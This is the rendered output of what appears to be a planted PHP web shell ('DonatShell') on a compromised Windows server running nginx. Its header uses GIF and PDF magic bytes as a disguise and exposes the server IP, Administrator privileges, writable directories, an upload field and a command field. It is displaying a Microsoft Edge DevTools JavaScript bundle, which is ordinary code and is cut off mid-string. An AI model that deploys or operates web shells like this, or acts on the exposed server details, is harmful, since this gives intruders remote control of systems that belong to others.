GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.119
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/SystemApps/Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe/23/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Windows/SystemApps/Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe/23/common/common.bundle.js
(window.webpackJsonp=window.webpackJsonp||[]).push([[4],[function(e,t,n){"use strict";n.d(t,"c",function(){return a});n.d(t,"d",function(){return s});n.d(t,"e",function(){return l});n.d(t,"b",function(){return u});n.d(t,"a",function(){return d});var o=n(5),r=n(176);const i=new Map;async function a(){return o.b.utilities.getStringTableResources("Common")}async function s(){i.size||c(await a())}function l(){i.size||c(o.b.utilities.getStringTableResources("Common"))}function c(e){Object.keys(e).forEach(t=>{i.set(t,e[t])})}function u(e,...t){let n=e;if("/"===e.substr(0,1)){const t=e.indexOf("/",1);t>1&&(n=e.substr(t+1))}let o=i.get(n);if(o){t&&t.length&&(o=Object(r.a)(o,t));return o}return`Unlocalized string: ${n}`}function d(e){return`An error has occurred: ${e}`}},function(e,t,n){"use strict";e.exports=n(236)},function(e,t,n){"use strict";n.d(t,"c",function(){return o});n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});var o,r,i;!function(e){e[e.Ui=0]="Ui";e[e.KeyboardShortcut=1]="KeyboardShortcut";e[e.ContextMenu=2]="ContextMenu";e[e.Internal=3]="Internal";e[e.Test=4]="Test";e[e.NotSpecified=5]="NotSpecified"}(o||(o={}));!function(e){e[e.Telemetry=0]="Telemetry";e[e.Measure=1]="Measure";e[e.CriticalData=2]="CriticalData"}(r||(r={}));!function(e){e.FIND_NEXT_OR_PREVIOUS="FindNextOrPrevious";e.DEBUGGER_FIND="DebuggerFind";e.SEARCHBOX_CLEAR="SearchBoxClear";e.UPDATE_SEARCH_NEXT_OR_PREVIOUS="UpdateSearchNextOrPrevious";e.DMBP_MANUAL_REBIND_ALL="DmbpManualRebindAll";e.COPY_FRAME="CopyFrame";e.COPY_STACK="CopyStack";e.GO_TO_NEXT_FRAME_ON_STACK="GoToNextFrameOnStack";e.GO_TO_PREVIOUS_FRAME_ON_STACK="GoToPreviousFrameOnStack";e.GO_TO_SOURCE="GoToSource";e.TOGGLE_ASYNC_FRAMES_ON="ToggleAsyncFramesOn";e.TOGGLE_ASYNC_FRAMES_OFF="ToggleAsyncFramesOff";e.TOGGLE_JMC_FRAMES_DISPLAY_ON="ToggleJmcFramesDisplayOn";e.TOGGLE_JMC_FRAMES_DISPLAY_OFF="ToggleJmcFramesDisplayOff"}(i||(i={}))},function(e,t,n){"use strict";n.d(t,"a",function(){return i});n.d(t,"b",function(){return a});n.d(t,"c",function(){return s});var o=n(2),r=n(60);class i{}i.START_DEBUGGING="StartDebugging";i.STEP_OVER="StepOver";i.STEP_INTO="StepInto";i.STEP_OUT="StepOut";i.BREAK_ANY="BreakAny";i.SHOW_NEXT_STATEMENT="ShowNextStatement";i.SET_NEXT_STATEMENT="SetNextStatement";i.RUN_TO_CURSOR="RunToCursor";i.SHOW_BREAK_ON_ERROR_MENU="ShowBreakOnErrorMenu";i.BREAK_ON_NO_EXCEPTIONS="BreakOnNoExceptions";i.BREAK_ON_UNHANDLED_EXCEPTIONS="BreakOnUnhandledExceptions";i.BREAK_ON_ALL_EXCEPTIONS="BreakOnAllExceptions";i.TOGGLE_ALL_BREAKPOINTS="ToggleAllBreakpoints";i.BREAK_ON_NEW_WORKERS_ON="BreakOnNewWorkersOn";i.BREAK_ON_NEW_WORKERS_OFF="BreakOnNewWorkersOff";i.TOGGLE_JMC_MODE_ON="ToggleJmcModeOn";i.TOGGLE_JMC_MODE_OFF="ToggleJmcModeOff";i.TOGGLE_SOURCE_MAPS_DISABLED="ToggleSourceMapsDisabled";i.TOGGLE_SOURCE_MAPS_OFF="ToggleSourceMapsOff";i.TOGGLE_SOURCE_MAPS_ON="ToggleSourceMapsOn";i.TOGGLE_PRETTY_PRINT_DISABLED="TogglePrettyPrintDisabled";i.TOGGLE_PRETTY_PRINT_ON="TogglePrettyPrintOn";i.TOGGLE_PRETTY_PRINT_OFF="TogglePrettyPrintOff";i.TOGGLE_LIBRARY_FILE="ToggleLibraryFile";i.TOGGLE_LIBRARY_FILE_DISABLED="ToggleLibraryFileDisabled";i.TOGGLE_LIBRARY_FILE_ON="ToggleLibraryFileOn";i.TOGGLE_LIBRARY_FILE_OFF="ToggleLibraryFileOff";i.TOGGLE_JMC_FRAMES_DISPLAY_ON="ToggleJmcFramesDisplayOn";i.TOGGLE_JMC_FRAMES_DISPLAY_OFF="ToggleJmcFramesDisplayOff";i.TOGGLE_WORD_WRAP_DISABLED="ToggleWordWrapDisabled";i.TOGGLE_WORD_WRAP_ON="ToggleWordWrapOn";i.TOGGLE_WORD_WRAP_OFF="ToggleWordWrapOff";i.TOGGLE_FIND_IN_FILES_ON="ToggleFindInFilesOn";i.TOGGLE_FIND_IN_FILES_OFF="ToggleFindInFilesOff";i.GO_TO_BREAKPOINT_WINDOW="GoToBreakpointWindow";i.GO_TO_CALLSTACK_WINDOW="GoToCallstackWindow";i.GO_TO_DMBP_WINDOW="GoToDbgDomMutationsWindow";i.GO_TO_WATCH_WINDOW="GoToWatchWindow";i.GO_TO_TOGGLE_WINDOW="GoToToggleWindow";i.GO_TO_DEFINITION="GoToDefinition";i.FIND_REFERENCES="FindReferences";i.FOCUS_TO_EDITOR="FocusToEditor";i.GO_TO_DEBUGGER_FILE="GoToDebuggerFile";i.ADD_WATCH="AddWatch";i.BREAK_ON_OBJECT_WATCH="BreakOnObjectWatch";i.BREAK_ON_PROPERTY_WATCH="BreakOnPropertyWatch";i.COPY_WATCH="CopyWatch";i.DELETE_WATCH="DeleteWatch";i.DELETE_ALL_WATCHES="DeleteAllWatches";i.EDIT_WATCH="EditWatch";i.CLOSE_RESOURCE_VIEW="CloseResourceView";i.CLOSE_ALL_TABS="CloseAllTabs";i.CLOSE_OTHER_TABS="CloseAllTabsButThis";i.COPY_URL_FROM_TAB="CopyUrlFromTab";i.EDITOR_SAVE="EditorSave";i.OPEN_RESOURCE_VIEW="OpenResourceView";i.SELECT_PREVIOUS_TAB="SelectPreviousTab";i.SELECT_NEXT_TAB="SelectNextTab";i.CHOOSE_SOURCE_MAP_FILE_LOCATION="ChooseSourceMapFileLocation";i.ADD_EVENT_BREAKPOINT="AddEventBreakpoint";i.ADD_EVENT_TRACEPOINT="AddEventTracepoint";i.ADD_XHR_BREAKPOINT="AddXhrBreakpoint";i.COPY_BREAKPOINT_IN_WINDOW="CopyBreakpointInWindow";i.DELETE_ALL_BREAKPOINTS_IN_WINDOW="DeleteAllBreakpointsInWindow";i.DELETE_BREAKPOINT_IN_WINDOW="DeleteBreakpointInWindow";i.DISABLE_ALL_BREAKPOINTS="DisableAllBreakpoints";i.DMBP_HIT="DmbpHit";i.ENABLE_ALL_BREAKPOINTS="EnableAllBreakpoints";i.GO_TO_BREAKPOINT="GoToBreakPoint";i.TOGGLE_BREAKPOINT_IN_EDITOR="ToggleBreakpointInEditor";i.SELECT_ALL_BREAKPOINTS_IN_WINDOW="SelectAllBreakpointsInWindow";i.SET_BREAKPOINT_STATE_IN_WINDOW="SetBreakpointStateInWindow";i.SET_CONDITION_IN_EDITOR="SetConditionInEditor";i.SET_CONDITION_IN_WINDOW="SetConditionInWindow";i.SET_BREAKPOINT_STATE_IN_EDITOR="SetBreakpointStateInEditor";i.FILEPICKER_FILTERBOX_OPEN="FilePickerFilterboxOpen";i.FILEPICKER_MENU_CLOSE="FilePickerMenuClose";i.FILEPICKER_MENU_OPEN="FilePickerMenuOpen";i.DEBUGGER_OPEN_DOCUMENT_END="DebuggerOpenDocumentEnd";i.EDITOR_COPY="EditorCopy";i.EDITOR_COPY_LOCATION="EditorCopyLocation";i.EDITOR_LOAD_DEBUGGER="EditorLoadDebugger";i.CSS_FILE_DIRTIED="CSSFileDirtied";i.JS_FILE_DIRTIED="JSFileDirtied";i.FILE_SAVED="FileSaved";const a=new r.a("Debugger");function s(e,t,n,...r){t!==o.c.Internal&&t!==o.c.Test&&a.logExecuteCommand(e,t);return n.apply(this,r)}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{static isTrue(e,t){if(!e){t=t?"Internal error. "+t:"Internal error. Unexpectedly false.";o.fail(t)}}static isFalse(e,t){if(e){t=t?"Internal error. "+t:"Internal error. Unexpectedly true.";o.fail(t)}}static isNull(e,t){if(null!==e){t=t?"Internal error. "+t:"Internal error. Unexpectedly not null.";t+=" '"+e+"'";o.fail(t)}}static isUndefined(e,t){0;if(void 0!==e){t=t?"Internal error. "+t:"Internal error. Unexpectedly not undefined.";t+=" '"+e+"'";o.fail(t)}}static hasValue(e,t){if(null===e||void 0===e){t=t?"Internal error. "+t:"Internal error. Unexpectedly "+(null===e?"null":"undefined")+".";o.fail(t)}}static areEqual(e,t,n){e!==t&&o.fail(`Error: ${n}, Unexpectedly not equal- Actual: '${e}', Expected: '${t}'`)}static areNotEqual(e,t,n){e===t&&o.fail(`Error: ${n}, Identical input passed to areNotEqual: '${e}'`)}static failDebugOnly(e){o.fail(e)}static fail(e){var t=new Error((e||"Assert failed.")+"\n");try{throw t}catch(e){e.stack&&(e.description=e.stack);throw e}}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});let o;"undefined"!=typeof frameElement&&frameElement&&(o=window.parent.__externalApis);o||"undefined"==typeof window||(o=window.__externalApis||external);o||(o={});var r;!function(e){e[e.Chooser=0]="Chooser";e[e.Classic=1]="Classic";e[e.Edge=2]="Edge";e[e.WWA=3]="WWA";e[e.ChooserViaVS=4]="ChooserViaVS";e[e.Remote=5]="Remote"}(r||(r={}));t.b=o},function(e,t,n){"use strict";n.d(t,"c",function(){return o});n.d(t,"d",function(){return r});n.d(t,"a",function(){return i});n.d(t,"b",function(){return a});var o;!function(e){e[e.none=-1]="none";e[e.header=0]="header";e[e.console=1]="console";e[e.dom=2]="dom";e[e.debugger=3]="debugger";e[e.emulation=4]="emulation";e[e.memoryAnalyzer=5]="memoryAnalyzer";e[e.visualProfiler=6]="visualProfiler";e[e.popup=8]="popup";e[e.network=9]="network";e[e.onewpc=10]="onewpc";e[e.elements=11]="elements";e[e.storage=12]="storage";e[e.serviceworker=13]="serviceworker"}(o||(o={}));const r=["Header","Console","Dom","Debugger","Emulation","Memory Analyzer","Visual Profiler","","Pop Up","Network","F12Host","Elements","Storage","ServiceWorker"];var i,a;!function(e){e[e.Full=0]="Full";e[e.Split=1]="Split"}(i||(i={}));!function(e){e[e.Tab=0]="Tab";e[e.ExtensionBackground=1]="ExtensionBackground";e[e.ExtensionPopup=2]="ExtensionPopup";e[e.ServiceWorker=3]="ServiceWorker"}(a||(a={}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.compose=t.merge=t.$=t.style=t.presets=t.keyframes=t.fontFace=t.insertGlobal=t.insertRule=t.plugins=t.styleSheet=void 0;t.speedy=p;t.simulations=C;t.simulate=y;t.cssLabels=S;t.isLikeRule=k;t.idFor=x;t.css=Q;t.rehydrate=ne;t.flush=oe;t.select=ae;t.parent=se;t.media=le;t.pseudo=ce;t.active=ue;t.any=de;t.checked=he;t.disabled=pe;t.empty=me;t.enabled=ge;t._default=fe;t.first=_e;t.firstChild=ve;t.firstOfType=be;t.fullscreen=Ce;t.focus=ye;t.hover=Ee;t.indeterminate=Se;t.inRange=Te;t.invalid=we;t.lastChild=ke;t.lastOfType=xe;t.left=Ie;t.link=Oe;t.onlyChild=Le;t.onlyOfType=De;t.optional=Re;t.outOfRange=Pe;t.readOnly=Me;t.readWrite=Ae;t.required=Be;t.right=Ne;t.root=Fe;t.scope=He;t.target=We;t.valid=Ue;t.visited=ze;t.dir=je;t.lang=Ge;t.not=Ve;t.nthChild=Ke;t.nthLastChild=qe;t.nthLastOfType=Xe;t.nthOfType=Je;t.after=Ye;t.before=$e;t.firstLetter=Ze;t.firstLine=Qe;t.selection=et;t.backdrop=tt;t.placeholder=nt;t.cssFor=ot;t.attribsFor=rt;var o=c(n(146)),r=n(221),i=n(182),a=c(n(213)),s=n(212),l=c(n(210));function c(e){return e&&e.__esModule?e:{default:e}}function u(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function d(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n;return e}var h=t.styleSheet=new r.StyleSheet;h.inject();function p(e){return h.speedy(e)}var m=t.plugins=h.plugins=new s.PluginSet([s.prefixes,s.fallbacks]);m.media=new s.PluginSet;m.fontFace=new s.PluginSet;m.keyframes=new s.PluginSet([s.prefixes]);var g=!1,f=!1,_=g,v=!1,b=!1;function C(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];_=!!e}function y(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(!(t=(0,a.default)(t)))return{};if(!_){if(!v){console.warn("can't simulate without once calling simulations(true)");v=!0}if(!g&&!f&&!b){console.warn("don't use simulation outside dev");b=!0}return{}}return t.reduce(function(e,t){return e["data-simulate-"+T(t)]="",e},{})}var E=g;function S(e){E=!!e}function T(e){return e.toLowerCase().replace(/[^a-z0-9]/g,"")}function w(){for(var e="",t=arguments.length,n=Array(t),o=0;o<t;o++)n[o]=arguments[o];for(var r=0;r<n.length;r++)e+=JSON.stringify(n[r]);return(0,l.default)(e).toString(36)}function k(e){var t=Object.keys(e).filter(function(e){return"toString"!==e});return 1===t.length&&!!/data\-css\-([a-zA-Z0-9]+)/.exec(t[0])}function x(e){var t=Object.keys(e).filter(function(e){return"toString"!==e});if(1!==t.length)throw new Error("not a rule");var n=/data\-css\-([a-zA-Z0-9]+)/.exec(t[0]);if(!n)throw new Error("not a rule");return n[1]}function I(e,t){if(!e)return t.replace(/\&/g,"");if(!t)return".css-"+e+",[data-css-"+e+"]";var n=t.split(",").map(function(t){return t.indexOf("&")>=0?[t.replace(/\&/gm,".css-"+e),t.replace(/\&/gm,"[data-css-"+e+"]")].join(","):".css-"+e+t+",[data-css-"+e+"]"+t}).join(",");_&&/^\&\:/.exec(t)&&!/\s/.exec(t)&&(n+=",.css-"+e+"[data-simulate-"+T(t)+"],[data-css-"+e+"][data-simulate-"+T(t)+"]");return n}function O(e){var t=e.selector,n=e.style,o=m.transform({selector:t,style:n});return o.selector+"{"+(0,i.createMarkupForStyles)(o.style)+"}"}function L(e){var t=void 0,n=void 0,o=void 0,r=void 0;Object.keys(e).forEach(function(i){i.indexOf("&")>=0?(n=n||{})[i]=e[i]:0===i.indexOf("@media")?(o=o||{})[i]=L(e[i]):0===i.indexOf("@supports")?(r=r||{})[i]=L(e[i]):"label"===i?e.label.length>0&&((t=t||{}).label=E?e.label.join("."):""):(t=t||{})[i]=e[i]});return{plain:t,selects:n,medias:o,supports:r}}function D(e,t){var n=[],o=t.plain,r=t.selects,i=t.medias,a=t.supports;o&&n.push(O({style:o,selector:I(e)}));r&&Object.keys(r).forEach(function(t){return n.push(O({style:r[t],selector:I(e,t)}))});i&&Object.keys(i).forEach(function(t){return n.push(t+"{"+D(e,i[t]).join("")+"}")});a&&Object.keys(a).forEach(function(t){return n.push(t+"{"+D(e,a[t]).join("")+"}")});return n}var R=h.inserted={};function P(e){if(!R[e.id]){R[e.id]=!0;var t=L(e.style);D(e.id,t).map(function(e){return h.insert(e)})}}var M=h.registered={};function A(e){M[e.id]||(M[e.id]=e)}function B(e){if(k(e)){var t=M[x(e)];if(null==t)throw new Error("[glamor] an unexpected rule cache miss occurred. This is probably a sign of multiple glamor instances in your app. See https://github.com/threepointone/glamor/issues/79");return t}return e}var N={};function F(e){A(e);P(e);if(N[e.id])return N[e.id];var t=d({},"data-css-"+e.id,E&&e.label||"");Object.defineProperty(t,"toString",{enumerable:!1,value:function(){return"css-"+e.id}});N[e.id]=t;return t}function H(e){for(var t=[":",".","[",">"," "],n=!1,o=e.charAt(0),r=0;r<t.length;r++)if(o===t[r]){n=!0;break}return n||e.indexOf("&")>=0}function W(e,t){var n=e.split(",").map(function(e){return e.indexOf("&")>=0?e:"&"+e});return t.split(",").map(function(e){return e.indexOf("&")>=0?e:"&"+e}).reduce(function(e,t){return e.concat(n.map(function(e){return t.replace(/\&/g,e)}))},[]).join(",")}function U(e,t){return e?"@media "+e.substring(6)+" and "+t.substring(6):t}function z(e){return 0===e.indexOf("@media")}function j(e){return 0===e.indexOf("@supports")}function G(e,t){return e?"@supports "+e.substring(9)+" and "+t.substring(9):t}function V(e){for(var t=[],n=0;n<e.length;n++)t=Array.isArray(e[n])?t.concat(V(e[n])):t.concat(e[n]);return t}function K(e,t){var n=t.selector,o=void 0===n?"":n,r=t.mq,i=void 0===r?"":r,s=t.supp,l=void 0===s?"":s,c=t.src,u=void 0===c?{}:c;Array.isArray(u)||(u=[u]);(u=V(u)).forEach(function(t){if(k(t)){var n=B(t);if("css"!==n.type)throw new Error("cannot merge this rule");t=n.style}(t=(0,a.default)(t))&&t.composes&&K(e,{selector:o,mq:i,supp:l,src:t.composes});Object.keys(t||{}).forEach(function(n){if(H(n)){if("::placeholder"===n){K(e,{selector:W(o,"::-webkit-input-placeholder"),mq:i,supp:l,src:t[n]});K(e,{selector:W(o,"::-moz-placeholder"),mq:i,supp:l,src:t[n]});K(e,{selector:W(o,"::-ms-input-placeholder"),mq:i,supp:l,src:t[n]})}K(e,{selector:W(o,n),mq:i,supp:l,src:t[n]})}else if(z(n))K(e,{selector:o,mq:U(i,n),supp:l,src:t[n]});else if(j(n))K(e,{selector:o,mq:i,supp:G(l,n),src:t[n]});else if("composes"===n);else{var r=e;if(l){r[l]=r[l]||{};r=r[l]}if(i){r[i]=r[i]||{};r=r[i]}if(o){r[o]=r[o]||{};r=r[o]}"label"===n?E&&(e.label=e.label.concat(t.label)):r[n]=t[n]}})})}function q(e){var t={label:[]};K(t,{src:e});return F({id:w(t),style:t,label:E?t.label.join("."):"",type:"css"})}var X={};Object.defineProperty(X,"toString",{enumerable:!1,value:function(){return"css-nil"}});var J="undefined"!=typeof WeakMap?[X,new WeakMap,new WeakMap,new WeakMap]:[X],Y=!1;function $(e){return function(t){if(J[t.length]){for(var n=J[t.length],o=0;o<t.length-1;){n.has(t[o])||n.set(t[o],new WeakMap);n=n.get(t[o]);o++}if(n.has(t[t.length-1])){var r=n.get(t[o]);if(M[r.toString().substring(4)])return r}}var i=e(t);if(J[t.length]){for(var a=0,s=J[t.length];a<t.length-1;){s=s.get(t[a]);a++}try{s.set(t[a],i)}catch(e){if(g&&!Y){var l;Y=!0;(l=console).warn.apply(l,["failed setting the WeakMap cache for args:"].concat(u(t)));console.warn("this should NOT happen, please file a bug on the github repo.")}}}return i}}var Z="undefined"!=typeof WeakMap?$(q):q;function Q(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(t[0]&&t[0].length&&t[0].raw)throw new Error("you forgot to include glamor/babel in your babel plugins.");return(t=(0,a.default)(t))?Z(t):X}Q.insert=function(e){var t={id:w(e),css:e,type:"raw"};A(t);if(!R[t.id]){h.insert(t.css);R[t.id]=!0}};t.insertRule=Q.insert;Q.global=function(e,t){return Q.insert(O({selector:e,style:t}))};t.insertGlobal=Q.global;function ee(e){R[e.id]||function(){var t=Object.keys(e.keyframes).map(function(t){var n=m.keyframes.transform({id:e.id,name:t,style:e.keyframes[t]});return n.name+"{"+(0,i.createMarkupForStyles)(n.style)+"}"}).join("");["-webkit-","-moz-","-o-",""].forEach(function(n){return h.insert("@"+n+"keyframes "+e.name+"_"+e.id+"{"+t+"}")});R[e.id]=!0}()}Q.keyframes=function(e,t){t||(t=e,e="animation");var n={id:w(e,t=(0,a.default)(t)||{}),type:"keyframes",name:e,keyframes:t};A(n);ee(n);return e+"_"+n.id};Q.fontFace=function(e){var t={id:w(e=(0,a.default)(e)),type:"font-face",font:e};A(t);te(t);return e.fontFamily};t.fontFace=Q.fontFace,t.keyframes=Q.keyframes;function te(e){if(!R[e.id]){h.insert("@font-face{"+(0,i.createMarkupForStyles)(e.font)+"}");R[e.id]=!0}}function ne(e){(0,o.default)(R,e.reduce(function(e,t){return e[t]=!0,e},{}))}function oe(){R=h.inserted={};M=h.registered={};N={};h.flush();h.inject()}function re(){g&&console.warn("[Deprecation] In glamor v3 the `presets` object will be removed. See https://github.com/threepointone/glamor/issues/213 for more information.")}t.presets={get mobile(){re();return"(min-width: 400px)"},get Mobile(){re();return"@media (min-width: 400px)"},get phablet(){re();return"(min-width: 550px)"},get Phablet(){re();return"@media (min-width: 550px)"},get tablet(){re();return"(min-width: 750px)"},get Tablet(){re();return"@media (min-width: 750px)"},get desktop(){re();return"(min-width: 1000px)"},get Desktop(){re();return"@media (min-width: 1000px)"},get hd(){re();return"(min-width: 1200px)"},get Hd(){re();return"@media (min-width: 1200px)"}};var ie=t.style=Q;function ae(e){for(var t=arguments.length,n=Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];return e?Q(d({},e,n)):ie(n)}t.$=ae;function se(e){for(var t=arguments.length,n=Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];return Q(d({},e+" &",n))}t.merge=Q,t.compose=Q;function le(e){for(var t=arguments.length,n=Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];return Q(d({},"@media "+e,n))}function ce(e){for(var t=arguments.length,n=Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];return Q(d({},e,n))}function ue(e){return ce(":active",e)}function de(e){return ce(":any",e)}function he(e){return ce(":checked",e)}function pe(e){return ce(":disabled",e)}function me(e){return ce(":empty",e)}function ge(e){return ce(":enabled",e)}function fe(e){return ce(":default",e)}function _e(e){return ce(":first",e)}function ve(e){return ce(":first-child",e)}function be(e){return ce(":first-of-type",e)}function Ce(e){return ce(":fullscreen",e)}function ye(e){return ce(":focus",e)}function Ee(e){return ce(":hover",e)}function Se(e){return ce(":indeterminate",e)}function Te(e){return ce(":in-range",e)}function we(e){return ce(":invalid",e)}function ke(e){return ce(":last-child",e)}function xe(e){return ce(":last-of-type",e)}function Ie(e){return ce(":left",e)}function Oe(e){return ce(":link",e)}function Le(e){return ce(":only-child",e)}function De(e){return ce(":only-of-type",e)}function Re(e){return ce(":optional",e)}function Pe(e){return ce(":out-of-range",e)}function Me(e){return ce(":read-only",e)}function Ae(e){return ce(":read-write",e)}function Be(e){return ce(":required",e)}function Ne(e){return ce(":right",e)}function Fe(e){return ce(":root",e)}function He(e){return ce(":scope",e)}function We(e){return ce(":target",e)}function Ue(e){return ce(":valid",e)}function ze(e){return ce(":visited",e)}function je(e,t){return ce(":dir("+e+")",t)}function Ge(e,t){return ce(":lang("+e+")",t)}function Ve(e,t){var n=e.split(",").map(function(e){return e.trim()}).map(function(e){return":not("+e+")"});return 1===n.length?ce(":not("+e+")",t):ae(n.join(""),t)}function Ke(e,t){return ce(":nth-child("+e+")",t)}function qe(e,t){return ce(":nth-last-child("+e+")",t)}function Xe(e,t){return ce(":nth-last-of-type("+e+")",t)}function Je(e,t){return ce(":nth-of-type("+e+")",t)}function Ye(e){return ce("::after",e)}function $e(e){return ce("::before",e)}function Ze(e){return ce("::first-letter",e)}function Qe(e){return ce("::first-line",e)}function et(e){return ce("::selection",e)}function tt(e){return ce("::backdrop",e)}function nt(e){return Q({"::placeholder":e})}function ot(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return(t=(0,a.default)(t))?t.map(function(e){var t={label:[]};K(t,{src:e});return D(w(t),L(t)).join("")}).join(""):""}function rt(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return(t=(0,a.default)(t))?t.map(function(e){x(e);var t=Object.keys(e)[0];return t+'="'+(e[t]||"")+'"'}).join(" "):""}},function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});var o=n(15);class r{constructor(){this.propertyChanged=new o.a}static fromObject(e){if(void 0!==e.propertyChanged)return e;var t=new r,n={};Object.defineProperties(t,i.expandProperties(e,n,t));t._backingData=n;return t}}class i{static defineProperty(e,t,n,o,r){var i="_"+t;Object.defineProperty(e.prototype,t,{get:function(){void 0===this[i]&&(this[i]=n);return this[i]},set:function(e){var n=this[t];if(e!==n){r&&r(this,n,e);this[i]=e;var a=this;a.propertyChanged.invoke(t,a);o&&o(this,n,e)}}})}static describePropertyForObjectShape(e,t,n,o){var i={get:()=>n[e],enumerable:!0},a=t[e];if("object"==typeof a){n[e]=r.fromObject(a);i.set=(t=>{if(t!==n[e]){n[e]=r.fromObject(t);o.propertyChanged.invoke(e,o)}})}else{n[e]=a;i.set=(t=>{if(t!==n[e]){n[e]=t;o.propertyChanged.invoke(e,o)}})}return i}static expandProperties(e,t,n){var o={};for(var r in e)o[r]=i.describePropertyForObjectShape(r,e,t,n);return o}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});var o;!function(e){e[e.Timeline_Zoom_Start=101]="Timeline_Zoom_Start";e[e.Timeline_Zoom_Stop=102]="Timeline_Zoom_Stop";e[e.Timeline_GridSort_Start=103]="Timeline_GridSort_Start";e[e.Timeline_GridSort_Stop=104]="Timeline_GridSort_Stop";e[e.Timeline_LoadGraphs_Start=105]="Timeline_LoadGraphs_Start";e[e.Timeline_LoadGraphs_Stop=106]="Timeline_LoadGraphs_Stop";e[e.Timeline_GridScrolled=107]="Timeline_GridScrolled";e[e.Timeline_GridUpdatedForTimeSelection=108]="Timeline_GridUpdatedForTimeSelection";e[e.Timeline_UserSelectedTimeSlice_Start=109]="Timeline_UserSelectedTimeSlice_Start";e[e.Timeline_UserSelectedTimeSlice_Stop=110]="Timeline_UserSelectedTimeSlice_Stop";e[e.Timeline_GridUpdatedForFilterBackground_Start=111]="Timeline_GridUpdatedForFilterBackground_Start";e[e.Timeline_GridUpdatedForFilterBackground_Stop=112]="Timeline_GridUpdatedForFilterBackground_Stop";e[e.Timeline_GridUpdatedForFilterNetwork_Start=113]="Timeline_GridUpdatedForFilterNetwork_Start";e[e.Timeline_GridUpdatedForFilterNetwork_Stop=114]="Timeline_GridUpdatedForFilterNetwork_Stop";e[e.Timeline_GridUpdatedForFilterMeasures_Start=115]="Timeline_GridUpdatedForFilterMeasures_Start";e[e.Timeline_GridUpdatedForFilterMeasures_Stop=116]="Timeline_GridUpdatedForFilterMeasures_Stop";e[e.Timeline_GridUpdatedForFilterFrames_Start=117]="Timeline_GridUpdatedForFilterFrames_Start";e[e.Timeline_GridUpdatedForFilterFrames_Stop=118]="Timeline_GridUpdatedForFilterFrames_Stop";e[e.Timeline_GridUpdatedForFilterName_Start=119]="Timeline_GridUpdatedForFilterName_Start";e[e.Timeline_GridUpdatedForFilterName_Stop=120]="Timeline_GridUpdatedForFilterName_Stop";e[e.Memory_TakeSnapshot_Start=201]="Memory_TakeSnapshot_Start";e[e.Memory_TakeSnapshot_Stop=202]="Memory_TakeSnapshot_Stop";e[e.Memory_CompareSnapshot_Start=203]="Memory_CompareSnapshot_Start";e[e.Memory_CompareSnapshot_Stop=204]="Memory_CompareSnapshot_Stop";e[e.Memory_ViewSnapshot_Start=205]="Memory_ViewSnapshot_Start";e[e.Memory_ViewSnapshot_Stop=206]="Memory_ViewSnapshot_Stop";e[e.Memory_GridSort_Start=207]="Memory_GridSort_Start";e[e.Memory_GridSort_Stop=208]="Memory_GridSort_Stop";e[e.Memory_DisplayFirstLevelSnapshotData_Start=209]="Memory_DisplayFirstLevelSnapshotData_Start";e[e.Memory_DisplayFirstLevelSnapshotData_Stop=210]="Memory_DisplayFirstLevelSnapshotData_Stop";e[e.Memory_ToolReady_Start=211]="Memory_ToolReady_Start";e[e.Memory_ToolReady_Stop=212]="Memory_ToolReady_Stop";e[e.Memory_GridFilterResponse_Start=213]="Memory_GridFilterResponse_Start";e[e.Memory_GridFilterResponse_Stop=214]="Memory_GridFilterResponse_Stop";e[e.Memory_UpdateObjectReferenceGraph_Start=215]="Memory_UpdateObjectReferenceGraph_Start";e[e.Memory_UpdateObjectReferenceGraph_Stop=216]="Memory_UpdateObjectReferenceGraph_Stop";e[e.Memory_ProcessingSnapshot_Start=217]="Memory_ProcessingSnapshot_Start";e[e.Memory_ProcessingSnapshot_Stop=218]="Memory_ProcessingSnapshot_Stop";e[e.Memory_ProcessingDiffSnapshot_Start=219]="Memory_ProcessingDiffSnapshot_Start";e[e.Memory_ProcessingDiffSnapshot_Stop=220]="Memory_ProcessingDiffSnapshot_Stop";e[e.Debugger_StepOver_Start=301]="Debugger_StepOver_Start";e[e.Debugger_StepInto_Start=302]="Debugger_StepInto_Start";e[e.Debugger_StepOut_Start=303]="Debugger_StepOut_Start";e[e.Debugger_OnBreak_Start=304]="Debugger_OnBreak_Start";e[e.Debugger_OnBreak_Stop=305]="Debugger_OnBreak_Stop";e[e.Debugger_PrettyPrint_Start=306]="Debugger_PrettyPrint_Start";e[e.Debugger_PrettyPrint_Stop=307]="Debugger_PrettyPrint_Stop";e[e.Debugger_CloseDocument_Start=310]="Debugger_CloseDocument_Start";e[e.Debugger_CloseDocument_Stop=311]="Debugger_Clo